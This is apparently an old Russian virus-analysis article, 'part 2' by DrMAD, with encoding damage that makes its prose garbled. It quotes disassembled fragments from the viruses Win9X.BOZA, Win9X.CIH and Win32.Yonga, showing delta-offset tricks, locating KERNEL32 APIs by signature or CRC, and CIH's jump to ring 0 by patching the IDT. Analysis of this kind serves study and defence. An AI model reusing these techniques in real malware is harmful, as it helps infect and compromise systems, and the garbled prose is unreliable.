
Ŀ
                                                                    
                        
                                    
                           
                                          
Ĵ
                                  5                           
ٰ



                          㧥 - 2
                               by DrMAD


    த ஢  ᪨ ,  㦨 
   訡,  祭  ᢮ ६ ⮭,  ⥫
।   .



             1. ஢⥫쭮  - Win9X.BOZA/Bizatch

    BOZA (  -ᨨ -  Bizatch)  -      ਨ  ,
ࠦ訩  ணࠬ  PE-ଠ    த訩    ࠫ.   
⨢ 뫨 ᠭ   ,  ⭮  訥    
,   ०   祬        ࠭    
䥪⨢ ⮤ ࠦ.
     ⭮,      ।    API-㭪権  
KERNEL32.DLL,   ,         .
   ᯮ짮  ⥬  䠪⮬,    KERNEL32  Win9X 
 窠 室   㭪権.  १ ணࠬ 룫廊 
ᮢ६    ⠭...   ⮬-  ஢!
    , ᬮ ᠬ.

;
; 饭  ⥬ ࢨᠬ १   室  KERNEL32.
;  Win95.BOZA
;
               start:
;
; 砫 믮 ᪮ ᫥ "-ᬥ饭"
;     CALL/POP 
;
.vlad:00407000 call $+5
.vlad:00407005 pop  ebp
.vlad:00407006 mov  eax, ebp
.vlad:00407008 sub  eax, 5D3Fh ;  -  砫  ᥣ
.vlad:0040700D push eax
.vlad:0040700E sub  ebp, 440005h ;  -  砫 ࠧ ணࠬ
;
;     KERNEL32.DLL  ।। ᠬ
;  ࠧ ᨩ Win95
; 㭨 ᨣ 5350FC9Ch ᯥ 㭪権
;
.vlad:00407014 mov  eax, [ebp+4403A1h]  ;   ᨣ
.vlad:0040701A cmp  dword ptr [eax], 5350FC9Ch ; ?
.vlad:00407020 jnz  short loc_407031    ; ᫨  -  ᫥ 
.vlad:00407022 nop                      ; ᫨  -
.vlad:00407023 nop                      ;    EAX 㦠
.vlad:00407024 nop                      ;   ᯥ
.vlad:00407025 nop                      ;  API32-ࢨᮢ 
.vlad:00407026 mov  eax, [ebp+4403A1h]  ;  ⭮ ᨨ W95.
.vlad:0040702C jmp  short loc_407049    ;  室  ᯮ짮
.vlad:0040702E nop
.vlad:0040702F nop
.vlad:00407030 nop
               loc_407031:
.vlad:00407031 mov  eax, [ebp+44039Dh]    ; ன  ᨣ
.vlad:00407037 cmp  dword ptr [eax], 5350FC9Ch ; ?
.vlad:0040703D jnz  loc_407396            ; ᫨  - ⢠ ᮢᥬ
.vlad:00407043 mov  eax, [ebp+44039Dh]    ; ᤨ  - . .
;
;   㦥 稭 ᯮ짮 ᮢ,   ।饬 ⠯
;
               loc_407049:
.vlad:00407049 mov  [ebp+440399h], eax    ; ࠭  ⠡窨
.vlad:0040704F cld
.vlad:00407050 lea  eax, [ebp+4406CBh]    ; 㧪  ⥪
.vlad:00407056 push eax      ;  ࠬ஢
.vlad:00407057 push 0FFh      ;  API32-ࢨ
.vlad:0040705C call sub_4073A5            ; 맮 㭪樨 饭  ࢨ

......................................................................................

;
;  ᯮ ᮡ⢥ 맮 ࢨ
;
.vlad:004073A5 sub_4073A5:
.vlad:004073A5 push 0BFF77744h     ; 饭 㭪樨  KERNEL32.DLL
.vlad:004073AA jmp  dword ptr [ebp+440399h] ; 맮 ᯥ

    뭥譨    ।   ਥ      ⪨   ,  
। ᪠    API-㭪権,  ᪠   ⠡   
KERNEL32.DLL.



                    2. ⥫  - Win9X.CIH

       㦠  ..      ⠪  ᠭ ( ⮬
᫥  ),  ᪠ - 쪮 - 㤭.
       .  ᬮਬ  ⮢ ࠣ, :
    1) ⠭ ᢮ ࠡ稪 ᪫祭;
    2) ய뢠        ⠡  ਯ஢  ࠬ 0-
;
    3) 뢠 ᪫祭.
     Win9X    ᪫祭      0  ,    Win   NT/2K/XP
᪫祭      ந      3-      ୥  ࠢ
ணࠬ-⥫ -  宬  ஢ 㡨宬! :)
     ⮫쪮 ⥭,   㯮       
⠭  ᯮᮡ 室  0   3-.   㣨 ᮢ
 ࠣ  Win9X.CIH  ᯮ     䨪権,  
   ,    ᫮ (᫨  
   ணࠬ)     ⨬஢.
    ,  :

    ;
    ; ⮢ ࠣ Win9X.CIH - 室  0 
    ;
    ;   IDT - ⠡ ਯ஢ ᪫祭
    0335: 50         push eax
    0336: 0F014C24FE sidt [esp-0002] ;
    033B: 5B         pop  ebx
    ; EBP :=  ࠡ稪 INT3
    033C: 83C31C     add  ebx,01C
    033F: FA         cli
    ; 6-⮢ ਯ   
    0340: 8B2B       mov  ebp,[ebx]
    0342: 668B6BFC   mov  bp,[ebx-0004]
    ;    ࠡ稪
    0346: 8D7112     lea  esi,[ecx+00012]
    0349: 56         push esi
    ; 1-  
    034A: 668973FC   mov  [ebx-0004],si
    034E: C1EE10     shr  esi,010
    ; 2-  
    0351: 66897302   mov  [ebx+00002],si
    0355: 5E         pop  esi
    ; 뢠 INT3
    0356: CC         int  3



           3. ᪠⥫   -  Win32.Yonga

     ᪠ API-㭪樨  KERNEL32.DLL,  ࠢ ⭮ ,
  ,  , 騥  ⠡  ᯮ ⥪. 
⮬ 砥  ࠦ  ணࠬ    ᢥ    ப
 - LoadLibrary, CreateFile  ..
    ⠥,   ਤ㬠,   ⮣  ,  GriYO/29A  
᢮  Win32.Parvo.   ࠢ  ,  ஫ 
  , ਬ, CRC.
    让 㧨   ⠪  室  Bumblebee/29A.      
 ॠ    Win32.Yonga.

;
;  API   KERNEL32.DLL   ࠢ
; ஫ 
;  Win32.Yonga.4434
;
;
                      ....
.41809E: xor   edx,edx
.4180A0: mov   [ebp][422462],edx
.4180A6: lea   eax,[ebp][401F5D] ;  ⠡ 祭 CRC
.4180AC: mov   esi,[ebp][422456] ;  ⠡  ᯮ
.4180B2: add   esi,edx
.4180B4: mov   esi,[esi]
.4180B6: add   esi,edi
.4180B8: push  eax
.4180B9: push  edx
.4180BA: push  edi
.4180BB: xor   edi,edi
.4180BD: movzx di,b,[eax][04]
.4180C2: call  .41868A           ;  CRC
.4180C7: xchg  ebx,eax           ; EBX :=  
.4180C8: pop   edi
.4180C9: pop   edx
.4180CA: pop   eax
.4180CB: cmp   ebx,[eax]         ; CRC ᮢ?
.4180CD: je    .4180EE           ; ⮢
.4180CF: add   edx,004
.4180D2: inc   d,[ebp][422462]
.4180D8: push  edx
.4180D9: mov   edx,[ebp][422462]
.4180DF: cmp   [ebp][00042245E],edx ;  ⠡?
.4180E5: pop   edx
.4180E6: je    .4185EB           ;   
.4180EC: jmps  .4180AC           ; ࠢ  ᫥騬
.4180EE: ....

; 楤  CRC
.41868A: cld
.41868B: xor   ecx,ecx
.41868D: dec   ecx
.41868E: mov   edx,ecx
.418690: push  ebx
.418691: xor   eax,eax
.418693: xor   ebx,ebx
.418695: lodsb          ; । 8 
.418696: xor   al,cl
.418698: mov   cl,ch
.41869A: mov   ch,dl
.41869C: mov   dl,dh
.41869E: mov   dh,008
.4186A0: shr   bx,1
.4186A3: rcr   ax,1
.4186A6: jae   .4186B1
.4186A8: xor   ax,08320 ; ⠭
.4186AC: xor   bx,0EDB8 ; ஦騩  CRC32
.4186B1: dec   dh
.4186B3: jne   .4186A0
.4186B5: xor   ecx,eax
.4186B7: xor   edx,ebx
.4186B9: dec   edi
.4186BA: jne   .418691
.4186BC: pop   ebx      ;
.4186BD: not   edx      ; ,  㦭 ⮫쪮 
.4186BF: not   ecx      ; ᮢ  ⠭⮬  CRC-32,
.4186C1: mov   eax,edx  ;   㦨 ᯮᮡ
.4186C3: rol   eax,010  ; १ (⪠)   .
.4186C6: mov   ax,cx    ;
.4186C9: retn
                      ...

;  ࠭ ⠭ CRC 
.418D50:                                         66 0E 69
.418D60:  03 12 47 63-F9 BF D5 BA-9B 0E 13 F5-4A F9 BF DF
.418D70:  2D 89 8C 0C-DB 7A F7 BF-EC 49 7B 79-0E A9 20 F8

          ॠ    -  ,    ᯮ
筮   ᫮ 楤  CRC?
       ୨    " ணࠬ஢ ++" 㯮
⮩ ⮤  ஫ 㬬:

                          sum := A*sum + s[i].

     A=1  ⮥ 㬬஢ ⮢,    -   ᠬ
訩 ਠ.  700  譨   KERNEL32.DLL  Windows 98 
 ⢮  . ਬ, CreateFileA  MoveFileExA
  ஫ 㬬 1045.
    , ਬ,  A=5 ( 7,  9,  10, ...)  
!  ୨   ४ A=31  ⬥,   
,  ⮫쪮  ஢  ⥪⮢ ப...   
     砩!   ,  ᫨  Bumblebee    ⮬,
⭨ ⮢  筮  . :)

